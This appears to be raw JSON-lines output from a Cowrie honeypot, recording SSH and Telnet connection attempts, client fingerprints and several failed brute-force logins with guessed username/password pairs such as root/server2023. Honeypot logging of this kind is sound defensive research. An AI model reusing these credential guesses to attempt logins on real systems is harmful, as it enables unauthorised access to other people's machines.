{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:54.957185Z","src_ip":"80.94.92.182","session":"e870623bf4f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:55.079754Z","src_ip":"80.94.92.182","session":"e870623bf4f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41058,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddc3d5419213","protocol":"telnet","message":"New connection: 65.60.27.33:41058 (10.17.0.5:23) [session: ddc3d5419213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:55.360295Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"ZXCVASDFQWER!@#$","message":"login attempt [sol/ZXCVASDFQWER!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:55.721320Z","src_ip":"80.94.92.182","session":"e870623bf4f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:56.977770Z","src_ip":"80.94.92.182","session":"e870623bf4f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44928,"dst_ip":"10.17.0.5","dst_port":23,"session":"004b85913755","protocol":"telnet","message":"New connection: 38.54.119.93:44928 (10.17.0.5:23) [session: 004b85913755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:58.738862Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44862,"dst_ip":"10.17.0.5","dst_port":23,"session":"f95c2753f087","protocol":"telnet","message":"New connection: 65.60.27.33:44862 (10.17.0.5:23) [session: f95c2753f087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:58.799574Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":56794,"dst_ip":"10.17.0.5","dst_port":22,"session":"cad09f3b5191","protocol":"ssh","message":"New connection: 80.94.92.168:56794 (10.17.0.5:22) [session: cad09f3b5191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:01.226048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:01.235184Z","src_ip":"80.94.92.168","session":"cad09f3b5191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:01.364822Z","src_ip":"80.94.92.168","session":"cad09f3b5191","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:01.927277Z","src_ip":"80.94.92.168","session":"cad09f3b5191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":56302,"dst_ip":"10.17.0.5","dst_port":22,"session":"1940aa5fbc97","protocol":"ssh","message":"New connection: 172.185.24.228:56302 (10.17.0.5:22) [session: 1940aa5fbc97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:02.011719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:02.017031Z","src_ip":"172.185.24.228","session":"1940aa5fbc97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:02.098922Z","src_ip":"172.185.24.228","session":"1940aa5fbc97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.080753803253174,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:02.309354Z","src_ip":"62.210.97.77","session":"71084ef04130","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123qwe","message":"login attempt [ftpuser/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:02.456316Z","src_ip":"172.185.24.228","session":"1940aa5fbc97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:03.175352Z","src_ip":"80.94.92.168","session":"cad09f3b5191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:03.537308Z","src_ip":"172.185.24.228","session":"1940aa5fbc97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.204.71.189","src_port":56983,"dst_ip":"159.203.135.109","dst_port":22,"session":"553224e40f0b","protocol":"ssh","message":"New connection: 196.204.71.189:56983 (159.203.135.109:22) [session: 553224e40f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:04.689573Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:04.694606Z","src_ip":"196.204.71.189","session":"553224e40f0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.41333723068237,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:07.525403Z","src_ip":"165.232.131.181","session":"3e842507c2b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.0866060256958,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:09.132554Z","src_ip":"38.54.119.93","session":"1615a47571fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59030,"dst_ip":"10.17.0.5","dst_port":23,"session":"38f1d9f75206","protocol":"telnet","message":"New connection: 165.232.131.181:59030 (10.17.0.5:23) [session: 38f1d9f75206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:13.821736Z"}
{"eventid":"cowrie.session.closed","duration":0.0049135684967041016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:13.826516Z","src_ip":"165.232.131.181","session":"38f1d9f75206","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":56358,"dst_ip":"159.203.135.109","dst_port":22,"session":"8537f67e9f17","protocol":"ssh","message":"New connection: 181.234.2.36:56358 (159.203.135.109:22) [session: 8537f67e9f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:14.174675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:14.179818Z","src_ip":"181.234.2.36","session":"8537f67e9f17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:14.279871Z","src_ip":"181.234.2.36","session":"8537f67e9f17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2023","message":"login attempt [root/server2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:14.696054Z","src_ip":"181.234.2.36","session":"8537f67e9f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:15.792381Z","src_ip":"181.234.2.36","session":"8537f67e9f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.54027605056763,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:18.726741Z","src_ip":"192.211.53.160","session":"f08d22a8d6e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.92108964920044,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:19.022112Z","src_ip":"65.60.27.33","session":"9913e07f250c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42550,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7f52d154612","protocol":"ssh","message":"New connection: 60.199.224.2:42550 (159.203.135.109:22) [session: c7f52d154612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:19.757529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:19.763312Z","src_ip":"60.199.224.2","session":"c7f52d154612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:19.966009Z","src_ip":"60.199.224.2","session":"c7f52d154612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"teamspeak3","message":"login attempt [ts3/teamspeak3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:20.806283Z","src_ip":"60.199.224.2","session":"c7f52d154612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.849602460861206,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:20.812087Z","src_ip":"165.232.131.181","session":"312ad86e71db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:22.011925Z","src_ip":"60.199.224.2","session":"c7f52d154612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.53555631637573,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:23.263511Z","src_ip":"38.54.119.93","session":"f47a3e77338c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47702,"dst_ip":"10.17.0.5","dst_port":23,"session":"d58e6107dae5","protocol":"telnet","message":"New connection: 165.232.131.181:47702 (10.17.0.5:23) [session: d58e6107dae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:28.261770Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44072,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d7ab4505c30","protocol":"telnet","message":"New connection: 62.210.97.77:44072 (10.17.0.5:23) [session: 1d7ab4505c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:30.674501Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38062,"dst_ip":"10.17.0.5","dst_port":23,"session":"c056628acf4b","protocol":"telnet","message":"New connection: 38.54.119.93:38062 (10.17.0.5:23) [session: c056628acf4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:31.570758Z"}
{"eventid":"cowrie.session.closed","duration":43.144813537597656,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:35.799277Z","src_ip":"38.54.119.93","session":"2b86f3865127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.179992437362671,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:37.750618Z","src_ip":"38.54.119.93","session":"c056628acf4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.5176796913147,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:37.877875Z","src_ip":"65.60.27.33","session":"ddc3d5419213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43986,"dst_ip":"10.17.0.5","dst_port":23,"session":"730e854bdd0a","protocol":"telnet","message":"New connection: 38.54.119.93:43986 (10.17.0.5:23) [session: 730e854bdd0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:40.817007Z"}
{"eventid":"cowrie.session.closed","duration":43.553757190704346,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:42.353260Z","src_ip":"65.60.27.33","session":"f95c2753f087","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.49621891975403,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:45.234978Z","src_ip":"38.54.119.93","session":"004b85913755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.500399351119995,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:49.317194Z","src_ip":"38.54.119.93","session":"730e854bdd0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59628,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac670820318d","protocol":"telnet","message":"New connection: 62.210.97.77:59628 (10.17.0.5:23) [session: ac670820318d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:55.567538Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":59784,"dst_ip":"159.203.135.109","dst_port":22,"session":"02c136ffba35","protocol":"ssh","message":"New connection: 20.203.42.204:59784 (159.203.135.109:22) [session: 02c136ffba35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:56.307425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:56.315142Z","src_ip":"20.203.42.204","session":"02c136ffba35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:56.481369Z","src_ip":"20.203.42.204","session":"02c136ffba35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tech","password":"test","message":"login attempt [tech/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:57.178773Z","src_ip":"20.203.42.204","session":"02c136ffba35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:28:58.347874Z","src_ip":"20.203.42.204","session":"02c136ffba35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51746,"dst_ip":"10.17.0.5","dst_port":23,"session":"382c4e5f49ac","protocol":"telnet","message":"New connection: 62.210.97.77:51746 (10.17.0.5:23) [session: 382c4e5f49ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:01.823052Z"}
